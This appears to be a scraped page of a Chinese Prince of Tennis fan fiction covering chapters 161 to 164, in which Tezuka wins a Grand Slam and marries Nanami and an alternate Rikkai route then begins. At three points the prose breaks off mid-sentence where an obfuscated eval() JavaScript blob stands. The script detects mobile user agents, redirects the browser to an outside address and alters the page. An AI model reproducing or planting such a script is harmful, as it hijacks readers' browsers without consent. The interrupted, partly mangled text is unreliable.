“国光,请问你和二阶堂教练是怎么相识的?大家都很好奇!”这位记者是二阶堂教练的迷妹兼冢海CP粉。 “小学五年级时,我们在家附近的一处街头网球场相识,第一次见面她就说她要教我打网球。”长桌中心的少年选手像是陷入了什么美好的回忆,眼底的温柔慢慢涌上来。 “Wow!那这么说来,国光,七海是你的初恋吗?” “啊。” 记者不断抛出各种各样的问题,关于手冢国光和二阶堂七海的恋爱故事,关于单飞之后的打算,台上三人一一斟酌作答,一场新闻发布会硬生生持续了一个小时之久,如果不是接下来要去准备比赛,恐怕还能再往后拉长。 终于,回到赛场上。 澳网男单决赛正赛,手冢国光VS博格,正式开始! 然而,这场比赛结束的速度之快,出乎了所有人的意料。 手冢国光一上场便高压球频出,第一盘伊始就开启了坚毅之光并双重领域,凶猛激进的攻势完全不似平常比赛时的他。 凭借这一气势,他以6-3,6-2的成绩横扫一片,一气呵成拿下前两盘的胜利。 第三盘第四盘,博格绝地反击,终于以6-4,7-5的比分夺回两盘。只可惜,这样的反击之势并未能持续到第五盘,决胜盘,手冢国光以6-3的比分拿下! 三胜二负,澳网男单决赛大满贯得主,同样也是史上最年轻的全满贯得主——Kunimitsu Tezuka!!! 罗德·拉沃尔球场上空,送给这位频频打破纪录创造传奇的少年的欢呼声和掌声一波接一波,将比赛的氛围推至最高潮。 手冢国光于湛蓝的领奖台上捧着大满贯奖杯向赛场边走去,他本该走到那群举着长枪大炮的媒体记者面前完成摄影任务,此刻他却走向了另一边。 “七海。”手冢停在她面前,极其自然地牵起她的手将她拉出席位,一瞬间,所有摄像头都对准了这个角落。 “国光?”七海抬头喊了一声他的名字,她的心跳得飞快,她好像意识到他要干什么了。 直到拉着她走到所有媒体面前,他将大满贯奖杯放在脚边。 在全世界的瞩目下,手冢国光缓缓单膝下跪。 他从兜里掏出了一个小盒子,打开,躺在绒面上的是一枚硕大的钻戒。 世俗意义上的幸福和非世俗意义上的幸福,他会一样样做到,不让她后悔嫁给他。 “七海,你愿意嫁给我吗?” 空气中的分子似乎停止了流动,连同周遭的一切都静止于此刻,全世界为他们而屏息凝神。 七海垂头凝视着身前眼神坚定而深情的少年,心里想的却是——这个人已经把所有奖金都放在她的账户上了,他是哪里来的钱偷偷背着她买这么大的钻戒。 收起脑海中不着调的胡思乱绪,眼看再不回答就要起骚乱,她开口: “我愿意。” 【超越博格成为职业选手第一,亦或是她,他都决定要竭力争取。】 五年前那个雪中的告别之吻后定下的目标,手冢国光于此刻做到了, 全部。 162.第 162 章 三个月后。 东京,大神宫神社。 “还要再穿多少层啊?”七海伸着双臂,欲哭无泪,白无垢也太太太多层了吧?简直像穿了条被子在身上。 “手冢太太,还有几层,坚持一下哦。”一旁帮忙穿白无垢的造型师耐心安抚道。 “还好可以不戴那个棉帽子......”七海暗自腹诽着,那个帽子简直长得像个白色的大饺子,还有什么角隐,说是为了让妻子学会隐去棱角,本小姐可是世界第一! 什么糟粕思想嘛,通通pass,最终她选择了简约的盘发造型,编了一个麻花偏丸子头,配上淡紫色的花簪。 七海认命地被三个造型师围着,把布料一层层包到身上,换好衣服的手冢国光于此时推开门走了进来。 他穿着一身经典的黑灰色纹付羽织袴,黑色的羽织套在身上,下身是竖条纹的深灰色马乘袴,胸前毛茸茸的白色羽织纽随着走动一颤一颤。 庄重的日式羽织袴配上那张戴着金边眼睛,沉静冷肃的帅脸,不得不说很搭。 “国光,衣服好重肩膀好痛啊,我想穿你的衣服。”七海哭丧着张脸,开始胡言乱语。 手冢国光走上前,正准备习惯性地揉她的头安抚两句,造型师不客气地阻止了: “手冢先生,这是刚为您的太太做好的发型,别乱碰。” 他僵硬了一瞬,收回手扶了扶眼镜,“啊,好的。” 七海见状倒是噗嗤笑出声来,难得也有让这个人吃瘪的时候。 “七海,辛苦你了,再坚持一下,今天办完神前式就可以换衣服了。”手冢国光专注地凝视着眼前穿着白无垢的她,耐心劝慰道。 他们一番商议后,并不打算完全遵照传统的日式婚礼的流程走,结束神前式,他们就会换上一身更为轻便的和服,去河村寿司店和同伴们庆祝。 最后一层带着银白色暗纹的打褂上身,七海的白无垢穿衣环节总算结束,她深吸一口气哀叹道:“天呐,好热,快要不能呼吸了。我都没法想象待会儿要脱下来会多麻烦。” “七海,实在不行我们换一身吧。”手冢国光平静道,换来的却是她的一记眼刀。 “国光,你也别我说什么都应承好不好,都到这时候了,本小姐还能坚持!”七海握拳,一副进入战斗状态视死如归的模样,手冢默默勾起唇角,还是不放心地加了一句。 “如果不舒服一定和我说。” 他牵过她的手拉着她走出房间,在巫女的带领下一步步向进行神前式的神社内走去,神官跟在他们身后为两人撑起红色的番伞,他们的面庞被投上了一层粉色暖光。 四周只余细微的风声和时不时传来的几声鸟鸣,巫女的前方,吹奏队伍奏着雅乐,越发衬托出仪式的肃穆。 七海憋不住了,她压低声音将头微微偏过去悄悄发问:“国光,这时候你好像不能牵我的手。” 方才巫女和他们解释了一通神前式要注意的事项,譬如男方要走在女方前面半步,女方要微微低头。 可是眼下,他拉着她的手,两人并肩而行,她更加没有低头,走得那叫一个随心所欲,根本没有遵守要求。 手冢面不改色:“七海,无妨,我们想怎样就怎样,没有人敢说什么。” 当初他们本不打算办日式婚礼,他知道她怕麻烦,可偏偏两边家长都想看,最后在答应简化流程的前提下,才有了今天的这一通折腾。 七海因为手冢国光这番稍微有些嚣张的话,一时间陷入了对过往这几年的回忆中。 这些年来,她当然有注意到身旁人的转变。 随着时间的流转腾挪,他并没有变得更加内敛更加沉闷,反而稍稍外放了些,有时亦不吝啬展露锋芒,将他潜藏的强势那一面表现出来。 她是乐于见到这样的改变的,“隐忍”并不是一个完全能称得上好的品质。只是,在某一方面也...... 七海兀自回忆着一些正经和不正经的内容,身后的双方家长也没忍住闲聊起来,当然,主要是双方的母亲。 手冢彩菜小声嘀咕:“美穗,快看,这俩孩子多配呀。”不知何时,这两个热衷八卦的女人已经处成了能够直呼对方名字的闺蜜。 二阶堂美穗点了点头,心里却想到了另一道身影。 真是世事难料,没想到居然不是那个温柔的少年,不过她也是最近才知道,原来小七跑到东京读书就是为了此刻走在她身边的那个男孩子。 “彩菜,你们家国光要对我们家小七好啊,他平时都是那么严肃的吗?”二阶堂美穗还是没忍住问出了憋了好久的问题。 她有些怕自家女儿受欺负,虽然她也听说了,这个孩子把打比赛得到的奖金都转给了小七,啧啧。 手冢彩菜尴尬地讪笑了两声:“美穗,国光这个孩子其实是面冷心热,内心很温柔的啦,你放心,如果他敢对七海不好,我和孩子他爸还有他祖父第一个教训他。” “那就好。”二阶堂美穗姑且接受了这个解释。 一路走着,一行人终于步入了进行仪式的神社正堂。神官捧着祭祀神的祝词拉长了声音念着,他们站在仪式台前等待着三献仪式。 手冢国光拿起一盏浅瓷杯,巫女拎着酒壶将酒液倒入杯中,他沉肃着脸,分三次将杯中酒缓缓饮下,放下手,视线不自觉地移向了身旁的人—— 她的黑发被精致地盘起,几缕青丝娇俏地垂落在白皙的额前。鬓边的淡紫色花簪随着动作轻轻晃动,侧颜恬静而动人。 白无垢穿在她的身上,衬得她愈发素雅,深紫色瞳孔中闪烁着的狡黠光芒却多少暴露了她与外表大相径庭的心性。 是他熟悉的她,相识整整九年的她。 他突然觉得有些不真实。 四年前,她突然出现的前一晚,他做的那个梦中,并不只有温网的那场比赛,还有......不,他的妻子是她。 七海同样捧起酒杯,待杯中倒上酒液,她便干脆地一饮而尽,动作潇洒,和淑女完全不沾边,手冢的嘴角微微扬起。 倒酒的巫女也不觉失笑,忙用眼神提醒她,七海这才想起来这么小小一杯还要分三次。 第二杯,第三杯——本该于此刻结束的三献仪式并没有结束。 巫女示意两人端起酒杯,再次向酒杯中倒入酒液。七海愣了愣,如果她没记错的话,应该是喝三杯就结束吧?好吧,四杯就四杯,这点酒小菜一碟。 她正预备着再次饮下这杯酒,手冢国光却于寂静中伸手制止住了她。 他将酒杯换到右手,侧过身慢慢勾住了她的右臂——七海心中猛地一颤,她很快反应过来他想要做什么,眼眶霎时间泛了红,原来他亦有为她去了解。 双臂交错着,他们仰头饮下了最后一杯交杯酒,不献神,只献给彼此。 ...... 结束神前式,冢海两人换上虽繁琐但至少不厚重的和服赶到河村寿司店时,店里已是一片热闹的氛围。 他们刚走到门口,门内就传来礼炮“砰”的一声,无数彩带从天而降,散落在他们的发梢衣摆上。 “新婚快乐!”寿司店内,青学女网部男网部,所有人都到齐,于此刻异口同声送上祝福,笑容洋溢在每个人脸上。 乾贞治笑得嘴角都快咧到耳朵边,自得道:“一切都逃不出我的数据,二阶堂,你果然最后还是和手冢在一起了。” “不,乾,爱是无法用数据测算的呐。”不二周助浅笑着反驳道。 “而且现在应该喊二阶堂手冢太太了喵!” “随了夫姓又怎么样,部长永远是二阶堂!”吉川阳菜撅嘴,虽然这个冰山部长似乎变了不少,对部长也很好,可是她不知道为什么就是不太满意他。 现如今,青学的少男少女们也早已大学毕业。 女网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598755|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部各自有了发展方向,值得一提的是,木下葵加入了NA俱乐部,负责处理日本区的人才招徕和管理,而投资方则由秘书山下出面与她沟通。 河村隆理所当然地继承了寿司店;大石秀一郎也顺利当上了医生;不二周助在高中毕业后加入西班牙职网,同样取得了极为耀眼的成绩,实现了夺得大满贯的承诺。 越前龙马则回到了美国队,他后来还是和越前龙雅打了一场比赛,借着那场比赛终于完全摆脱了越前南次郎的身影,探索出了属于自己的网球之路。 海堂薰继续攻读文学修士,据说他已经养了3只猫彻底化身忠诚铲屎官;乾贞治则考入东大攻读统计学修士;菊丸英二十分令人意外地去当娱乐记者了;桃城武和冰帝的宍户亮合办了一家健身馆。 无论沧海万事如何变迁,一回到这家寿司店,大家就像重回到了国中三年的青葱岁月,笑着闹着,除了饮料从汽水变成酒,社会人应有的成熟被抛之脑后。 在这里,炽热的青春永远有迹可循,有些人,他们永远年轻。 --------------------------- 东京,冢海新家。 “国光,你没事吧?”七海坐在沙发边担忧地盯着眼前的人。 靠在沙发上的手冢国光脸颊泛着不正常的红晕,表面上还是那副冷静的神态,可她却能看出来,他是实打实的醉了,这是他第一次在她面前喝醉。 几小时前,手冢在河村寿司店被青学众人尤其是她的那几个部员疯狂灌高度酒,也不知道吉川阳菜使了什么手段,他一次也未曾回拒,只一杯接一杯地喝。 “七海......”手冢国光紧蹙着眉,闭上眼,嘴里轻声喊着她的名字。 “国光,怎么了?”七海爬到沙发上,伸出手将手背贴着他的额头,还好,没有发烧。 她放在额头的手突然被他抓住,下一瞬,她直接被按倒在沙发上,他的身躯似暗影沉沉压下,镜片后,他的视线执着地落在她身上。 七海面上有些慌乱,“国光,你喝醉了。”他该不会要乱来吧?虽然今天是新婚之夜,他们本来就该...... “七海,我没有喝醉。国中三年,是我对不起你,一次次拒绝你。” “七海,是我害你左右为难,我......”他口中不断说出一句句道歉的话。 一阵阵酸意冲上鼻头和心间,她也曾觉得自己欠他许多,明知未来却没能阻止国一的那次受伤,没能改变那场双部之战的结果。 或许于他们彼此而言,爱是常觉亏欠。 七海强忍着泪,伸手抚上他的脸颊,颤声安抚:“国光......没关系的,都过去了。” “好。”半晌,他低声回了这一个字,俯下身衔住了她的唇。 ------------------------- 五年后。 霍普曼杯赛后,主持人站在球网边采访着刚结束混双比赛的两人。 “国光,七海,恭喜你们获得冠军。国光,现在你被公认为是网坛的goat,十年来斩获了数项大满贯,不如请你简单传授一下这一路走过来成功的秘诀?” 手冢国光点了点头,接过话筒,沉声道:“不要大意,不要放弃。” “该不会你追身边的这个女孩子也是这个办法吧?” 他转过头看向她,眼底泛起柔和的波澜:“嗯。” 主持人脸上写满了揶揄,又将话筒转向另一人:“七海,不如请你从教练的角度评价一下国光这场比赛的表现?” 七海回望过去,浅笑着回应:“他表现得很好。” 一如十年前,青春台无数个蝉鸣与风铃流淌而过的夏日。 夏天周而复始,错过的人终会再次相逢。 凡此过往,皆为序章。 . 冢海线——The end. 163.第 163 章 六月的立海大正是盛夏伊始,行道旁的树木苍苍郁郁,在阳光的烘烤下散发出阵阵清新叶香,树荫下学生们三五成群路过,喧嚷着讨论新学期的各种期待。 “呐,听说了吗?我们班新来了一个插班生。” “男生还是女生啊?” “似乎是个女生吧......待会儿上课前应该就能看到了。” “而且,我还听说是跳级上来的,之前在青春学园读书。” “青学?东京人跑来神奈川读书干什么?” ...... 二年B组的几人吵嚷着路过,站在一旁正在议事的立海大网球部众人将对话一字不落地收入耳中。 “幸村,刚才走过去的不是你们班的学生吗?要来插班生?”真田弦一郎询问道,他升入高等部后仍旧担任着风纪委员的职位,对每个班级的学生都十分眼熟。 众所周知,立海大附属高等部想要入学通常只有三个渠道,留学生或者中等部直升上来,或者出于某项成就被破例接纳。因而,插班生这样的存在是极少见的。 “嗯,我也听说了。”幸村不可置否地点了点头。 “青学来的女生......如果是公——”主殿下就好了。切原赤也赶紧把说了一半的话止住了。 切原赤也说出那个字的刹那本以为自己要遭殃了,毕竟这个名字久未被提及,他连今天训练量翻倍都做好了心理建设,却没想到他的幸村部长看起来并无异常。 柳莲二只沉默地拍了拍海带头少年的肩膀。 真田弦一郎面无表情地压了压帽檐:“快要上课了,大家回到教室吧,下午的部活照常。”他还要去校门口站岗,登记迟到的学生。 “啊,是呐。” “嗯嗯,Jack,我们走吧。”一行人故作轻松地分流四散,回到了各自所在班级。 至于这位插班生,她现在并不在教务办公室——她十分悲催地毫不意外地迷路了,或者说犯蠢了,她跑去了中等部的校区。 于是,当她抵达立海大高等部校门口时,校门已经拉上,距离第一节课开始只差3分钟。 扒在墙角,透过铁门栏,她依稀可见一道戴着帽子的熟悉身影。 “要不要这么倒霉啊......我可不想被真田训斥。”少女撇了撇嘴,视线右移,望着立海大并不算高的围墙,一个主意浮上心头。 “呵,区区围墙,果然难不倒本小姐。”她半个身子挂在围墙的一边,撑着边沿,一条腿已经伸进了围墙内。 “喂!那边的那个学生!”身后传来了熟悉的怒吼,她心道不妙,赶忙将另一条腿也翻进围墙,一呲溜擦着围墙坠下落地,便准备跑路。 “站住!”真田弦一郎一声怒喝,飞奔冲刺而去,顺利揪住了眼前这位穿着立海大墨绿色制服套装试图落跑的女生的衣领。 意识到避无可避,她终于缓缓转回头—— “二阶堂?!” 真田弦一郎难得有面部表情彻底崩坏的时刻。 “哈哈,真田,真巧啊......”七海讪笑着捋了捋鬓边的碎发。 “真田?”她伸出手在少年面前晃了晃,莫非立海大的皇帝也会君临天下...... “二阶堂,你......之前的一年多你去哪了?什么时候来的立海大?二年B组的插班生是你?”真田弦一郎难得有这么多的问题抛出来。 “我去了哪里不重要,重要的是我现在回来了。快要上课了,真田,能麻烦你带我去二年B组教室吗?我之前是迷路了才迟到的,这次能就当没看到吗?” 真田弦一郎望着身前满脸讨好之色的少女,终于回想起另一件事,几秒钟前的惊骇被压下,他的面色转而复杂起来。 “......我带你去教室吧。”他只沉声说了这一句话,便沉默地转头向教学楼走去,七海不明所以然,赶忙跟上少年的脚步。 ...... “这里就是二年B组了,二阶堂,你自己进去吧。”真田弦一郎将人送到便准备离去,刚迈出一步,却又停住了脚步。 “二阶堂,你知道幸村也在这个班吗?”他背对着她问。 七海正预备着打开教室门,听到这一句话也顿在了门口。 “真田,我知道。”不如说,就是因为他在,她才向校长请求分到这个班来。 耳侧传来真田渐行渐远的脚步声,她推开大门走进教室。 教室内,随着开门声,原本安静的氛围被打破,目光聚焦在她身上,七海却不甚在意。扫视了一圈,果不其然发现了坐在教室后排窗边的蓝紫发少年,四目交汇,她下意识绽放出一个灿烂的笑容。 他却面色平静,看起来......丝毫不意外,也不惊喜,毫无变化。 七海愣住了。 “二阶堂同学,之前还在想你去哪儿了呢。”站在讲台的中年女老师向她招了招手,“大家,这位就是我们班新来的插班生,做个自我介绍吧。” “啊,好。”将疑惑与不安暂且放到一边,七海走上讲台前,在黑板上写下自己的名字,转回身: “大家好,我是二阶堂七海,接下来的日子就请大家多多指教了。” “哇,是美女诶!” “一条,你就只知道看脸是不是。” “这个名字有些耳熟啊......” “我知道!我想起来了!她是那个二阶堂教练啊,网球世界杯大出风头的那个人!” ...... 座位上讨论声窸窸窣窣,老师笑得无奈,“大家保持安静。二阶堂桑,现在教室里就只有一个空位,麻烦你坐那里去吧,可以吗?” 那个空位,她自然早就注意到了。 【“这句话的意思是......这里是你的地盘吗?” “嗯。以前,经常会来这里。不是我的地盘,只是我习惯来了,别人也就不来了。”】 他身边的位置是空置的,是没有人敢坐在他身边吗。想到这个可能,七海的心骤然紧了紧,随即,毫不犹豫地向那个空座走去,坐下。 “二阶堂桑,居然坐到了幸村君边上啊!” “笨蛋,她可是日本队的教练,本来就和幸村君很熟啊。” “对哦,我差点忘了......” 无视了周围持续不断的讨论,七海侧过头对着身边的少年笑眯眯道:“精市,好久不见呀!有没有很惊喜,很意外! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623857|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “七海,我们先好好上课吧。”幸村精市平静道。 “啊......好。”七海再次忐忑起来,身边的人,他的反应完全超出她的意料。 难道是一年多过去,他......少女的眼底闪过一丝不安,讲台上传来老师的讲课声,七海收起纷乱的思绪认真听起课来。 下课时,一堆人便围了过来,七嘴八舌地八卦着各种问题,七海本想单独找幸村精市说话,这种状况,为了搞好同学关系,只能先一个个地回答着同班同学的提问。 班长北川从人流中费力挤出一条小路,把一张入部申请表拍到桌面。 “二阶堂同学,我是班长北川铃香。这是入部申请表,立海大的学生都要参加社团活动,麻烦你决定好之后交回给我。” 七海在她转身离去前便干脆回应:“北川桑,我已经决定好了,能麻烦你稍等我一下吗,我现在就把表填好还给你。” 北川铃香愣了愣:“你要去......我知道了,你要去女网部吧。” “不......我要申请去男子网球部。”她不想站在她曾经的部员们的对立面,更何况,她也应允了他们,要回立海大当他们的教练。 说完这句话,七海下意识用余光瞥了身侧的幸村精市一眼,他似乎并没有在关注这边的喧闹......果然,有哪里不对劲。 “男子网球部?......那你填表吧。”北川只诧异了一瞬便恢复平静。 七海利落的咬开笔盖,三下五除二便填完表格,将表单递回给给北川,入部意愿一栏赫然写着教练二字。 只是,被填表一事耽误,马上就到了上课时间。就这样,一直等到午休时,七海才腾出功夫来和他好好说一句话。 教室里的学生四散去食堂和便利店解决中饭,很快只剩下他们两人。 同一时刻,走廊上立海大众人在得知她回来之后决定庆祝一番,一行人向她所在的二年B组快步走来,走近了,却听到教室里传来一段令所有人惊诧万分的对话—— “精市,我回来了,你不高兴吗......”七海站在窗边,咬着唇,神色不明。 “七海,我很高兴你能回来。”幸村精市柔声回道。 七海稍稍放下心来,“精市,很抱歉这一年多消失了,我,那时候我不确定自己会离开还是......” “没关系。”他打断了她的话。 “那就好。”她长舒了一口气,“那,精市,以前说的话还算数吗?我现在可以给你回应了。”话说到最后,她面上带上了一丝羞赧。 “七海指的是我那些告白的话吗?” “嗯。精市,我——” “七海,很抱歉,恐怕不能算数了。” 她的话再次被他打断,眼前的少年看起来分明并无多大的变化,说话时瞳孔中盛满了柔和的神色,可她的心底却有一股莫名的慌乱不断翻涌上来。 她的慌乱与不安很快得到了证实。 “不能算数的意思是?”七海呆愣地重复了一遍。 “七海,我已经不喜欢你了。” 一阵微风吹进室内,少年蓝紫色的发丝随风摇曳,他浅笑着,温声答道。 164.第 164 章 “七海,我已经不喜欢你了。” 七海的大脑一片空白。 “精市,你刚才说什么?我好像没听清楚。” 幸村精市面色柔和不改:“七海,很抱歉拒绝你,不过我现在已经不喜欢你了呐。” 耳畔响起嗡嗡的耳鸣声,血液猛地涌上脸颊,很快又尽数褪下,面色反倒比之前更显苍白。她怔怔地望着眼前笑意清浅的少年,一时间失语。 他已经不喜欢她了吗......原来,原来是这样。这似乎也是正常的......可是她为什么,好像快要呼吸不过来了。 “精市......”她费力念出他的名字,再次陷入沉默。 鸢尾花般温润柔和的少年只是安静地看着她,不再做出任何解释或说明。 半晌,七海才勉强挤出一个笑容:“原来是这样呀。没事,我理解的,没关系。” “七海你能理解就最好了。”他勾起嘴角。 教室外走廊上的立海大一行人面面相觑。这段对话的内容,怎么听怎么处处透着诡异。 “公主殿下......”切原赤也呆立在原地。幸村部长不喜欢公主殿下了吗?那是不是代表...... 七海捕捉到熟悉的呼唤侧过头,这才发现教室门口站着立海大众人。那么,刚才的对话,他们也都听到了。她现在的表情,应该很难看吧,她现在的境况,应该很难堪吧。 “精市,大家来找你了,那我就先走了。” 她用力眨了眨眼,强压下纷杂到即将喷涌而出的情绪,一步步后退,转身,不顾门口少年们神色各异的表情,从他们身旁穿过,落荒而逃。 ----------------------- 失魂落魄地顺着楼梯跑到楼下,她不敢回头,只沿着林荫小道一路狂奔。 立海大高等部的校区于她而言是陌生的,不知走了多久,直到走到一处无人的花园,七海这才躲到一棵大树的树干背后颓然坐下,任由情绪释放出来。 “好疼......”她怔怔地抚着心口。 原来难过的时候,心真的会痛啊。 可是现在她该怎么办,回到立海大,坐在他身边,这样的她就像个笑话。 惶然沉思之际,头顶传来了一声满载着担忧的呼唤—— “小七海,你没事吗?” 她仰头,是毛利寿三郎,他刚才也在教室门口。 “毛利学长......”七海扶着树干站起身来,一个趔趄。 毛利寿三郎赶忙扶住了她,“小七海,你的脸色好差,要不要我扶你去保健室?” 她垂眸摇了摇头:“不用了,谢谢你,毛利学长。” “哎呀,我本来还想问你要不要和我在一起呢。”红发少年揪了揪额头的碎发,遗憾道,“小七海,看来你喜欢幸村呀。” “可是,他已经不喜欢我了。”七海死死咬着下唇,眼泪在通红的眼眶中打着转,却倔强地不肯落下。 毛利寿三郎皱眉,“这件事,恐怕有蹊跷。”旁人也就罢了,立海大的那群少年包括他都看得很清楚,幸村对她的在意,否则也不会...... 蹊跷两个字点燃了她刚被拒绝浇灭的希望,或许,这其中确实另有隐情。想到这种可能,七海着急忙慌发拉着红发少年追问: “毛利学长,你能和我说说这一年多以来,我走之后发生的事吗?” 毛利寿三郎的表情立刻变得复杂,“小七海,你离开之后......”少年将这一年多以来立海大网球部发生的大事件娓娓道来。 世界杯结束回到日本后,立海大三巨头收回前言,切原赤也顺利成为了立海大中等部的部长。 而原中等部的三年生也成功升入立海大附属高等学校,加入了高等部的网球部。幸村精市一入部便顺利夺得了部长职位,或者说前任部长非常干脆地让出了部长之位。 去年,网球部不出意外地夺得全国大赛优胜,幸村精市也已签约成为法国职网协会的职业选手,但由于学业未辍,不方便全世界打比赛,他目前只参与亚洲的巡回赛,以积累经验和积分。 立海大网球部以全国三连胜为目标,幸村精市以大满贯为目标,一切都有条不紊地进行着。 只有一件怪事——她的名字成为了禁词。 她莫名失踪的第一个月,有人在网球部提到那个名字便会气氛骤变,从那以后所有人都不敢触自家部长的霉头,无人敢在网球部提起她。 “没有人敢提起我吗......”七海重复了一遍毛利寿三郎的话,再次陷入沉思,思维飞速旋转,在脑海中激烈碰撞着。 如果他已经不在意她,那又何必这么避讳她呢?况且,过去他对她说的每一句话,她都还记得。 【“七海,我好像有些等不及了,你什么时候能坚定地只留在我身边呢?”】 【“七海,你不需要担心黑夜,也不用害怕一个人。” “因为我的黎明是你。”】 【“除非你从我的记忆里离开,我才能自由。”】 【“七海,那天我说你选择谁都可以,可是我只希望你选择我。”】 每一句话,都曾经那么锥心刺骨。现在,这些话都不算数了吗......可以这样轻易的就不算数了吗?她不信! “还有一件事。”毛利寿三郎神色复杂地补充道,“这件事我没有和其他人提起过。” 某天他去金井综合病院复查,无意中撞见了幸村精市,他看着精神状态极差,走进精神科的诊疗室便消失在门后,事后,他并未找他了解具体情况。 “精神科?!”她的心再次收紧了,到底发生了什么事...... 暂且收回心绪,七海眼含诚恳地抬头道谢:“毛利学长,谢谢你告诉我这一切。” “小七海,如果改变主意了,记得考虑我哦。”毛利寿三郎凑上前揉了揉她的头,笑意温和。 盯着身前的少年,她的语调忽然变得认真:“毛利学长,你值得更好的人。”不要再在她身上浪费时间了。 毛利寿三郎愣了愣,正准备回话,身后传来一道熟悉的声音—— “公主殿下!!” 切原赤也在校园里一通乱转,倒是运气极好的瞄到了树后那两道人影,又或许是因为毛利寿三郎的个子实在高到令人难以忽视。切原一阵旋风般飞跑到两人跟前,急刹车止步,墨绿色的瞳孔扑闪扑闪着。 “公主殿下,总算找到你了!!啊啊啊可恶,我怎么就比大家晚一年出生,不然我就可以和公主殿下一个班了!!” 七海伸手揉了揉海带头,笑得无奈:“赤也,别以为我看不透你的主意,是想我辅导你的英语吧?”话说回来,他也长高太多了吧! 切原赤也动作停顿了一瞬,跟着挠了挠头,傻笑着:“哎呀,还是被公主殿下发现了。” 他差点因为成绩太烂没能直升高等部,还好最后在立海大全员的地狱辅导下,极限发挥踩着合格线成功升学。只是,他那么说并不只是为了有人能辅导他的英语。 “说起来,赤也,你是怎么知道我在这里的?”毛利学长大概是不放心跟着她过来了,那他呢。 “公主殿下,我看到你......”切原赤也的话只说了一半,一向心直口快的少年欲言又止。 他们无意中听到了教室里的对话,他看到她失魂落魄地跑走,他本想追上去,毛利学长却主动说自己会跟上去看看,让其他人不用担心。 可是心里装着一件事,他根本没法和其他人一起普普通通地在食堂吃午餐,想要倾诉的冲动越来越强烈,最后破土而出。他按耐不住,草草结束午饭,随意找了句托辞就冲出来找她。 七海一眼看穿他的停顿原因,温柔地笑了笑。 “赤也,我没事。” “啊,啊是吗!公主殿下,你,你没事就好!” “那个,毛利学长,你能不能......就是,你能不能先回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643888|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避一下......”切原赤也吞吞吐吐了半天,像是有什么不能说的秘密瞒着毛利寿三郎要与她分享。 毛利眼底闪过一丝愕然,“好。小七海,那我就先走了,如果有什么需要我帮忙的随时找我。” 七海点了点头,这才收回视线。“赤也,是找我有什么事要说吗?” 切原赤也脸颊乍红,头顶疑似有轻烟蒸腾而上: “公主殿下,我想先谢谢你那天说的话!后来我成功当了一年部长!!” “啊......那个事呀,不客气啦。”七海恍然大悟,是她走的那一天在烤肉派对的木亭下的那番话吧。只是,这个事有必要避着毛利学长和她说吗? “公主殿下,还有就是那个,那个......”海带挠头,疯狂挠头,“我新学了一句英语!” “那你说给我听听?”七海倒是真的产生了几分好奇,含着笑等待着切原赤也同学的英语展示。 “Dear p princess, can can I be your n knight?”这句话也说得磕磕巴巴。 她跟着翻译了一遍:“亲爱的公主殿下,我能成为你的夜晚吗?” 海藻头少年再度挠头,“公主殿下,不是,是那个knight!奈特!” “啊,那就是骑士的意思了。” “亲爱的公主殿下,我能成为你的骑士吗?”她将正确版本再度翻译了一遍,接着,愣住了。 她很希望这句话不是她想象的那个意思,可是眼前的少年青涩含羞的模样,她却是熟悉的。 她也曾有过那样的时候。 “赤也,你喜欢我吗......”七海轻声问。 切原赤也大约没想到他的公主殿下会这么直白地点出他意图,结巴了半天,才开口承认:“公主殿下,我,我喜欢你。” “我就是在想,那个,既然幸村部长不喜欢你了,公主殿下,你,你要不要考虑一下我。”他越说,脸涨得越红,头埋得越低,错过了面前的少女脸上的不忍与黯然。 酸涩感如滔天巨浪打来,霎时间将她吞没。 过去的这一年多来,她终于明白,原来被爱也会是痛苦的。心里只住得下一个人,再有人敲门想进来,她便只能拒之门外,任来人风餐露宿。 年少时的心动总是真挚而青涩,热烈笨拙,纯粹又莽撞。这样的感情摆在她的眼前,她本该珍惜爱护,可现在的她除了狠心拒绝,别无他法。 她不能骗自己,更不能骗他。 七海轻抱住身前的少年,声音不知何时变得哽咽。 “赤也,对不起......真的对不起......” 一声声饱含歉疚的对不起钻进他的耳中,一滴滴泪水滴落在少年的白衬衫上,渗入皮肤,从滚烫到冰凉只需一瞬。 切原赤也发现自己居然难得的聪明了一次,难得的立刻听懂了她话中暗含的回拒。 少年的心动被一句句道歉撕扯开来,飘荡在神奈川初夏的潮气中,很快散落一地。青涩的果实还没等成熟便被摘下,他放进嘴中,酸涩难耐。 此时此刻,十五岁的切原赤也第一次尝到了苦涩的滋味。 “公主殿下,没关系,没关系的!”他慌乱地安慰着她,手一时间不知道该往哪处放。 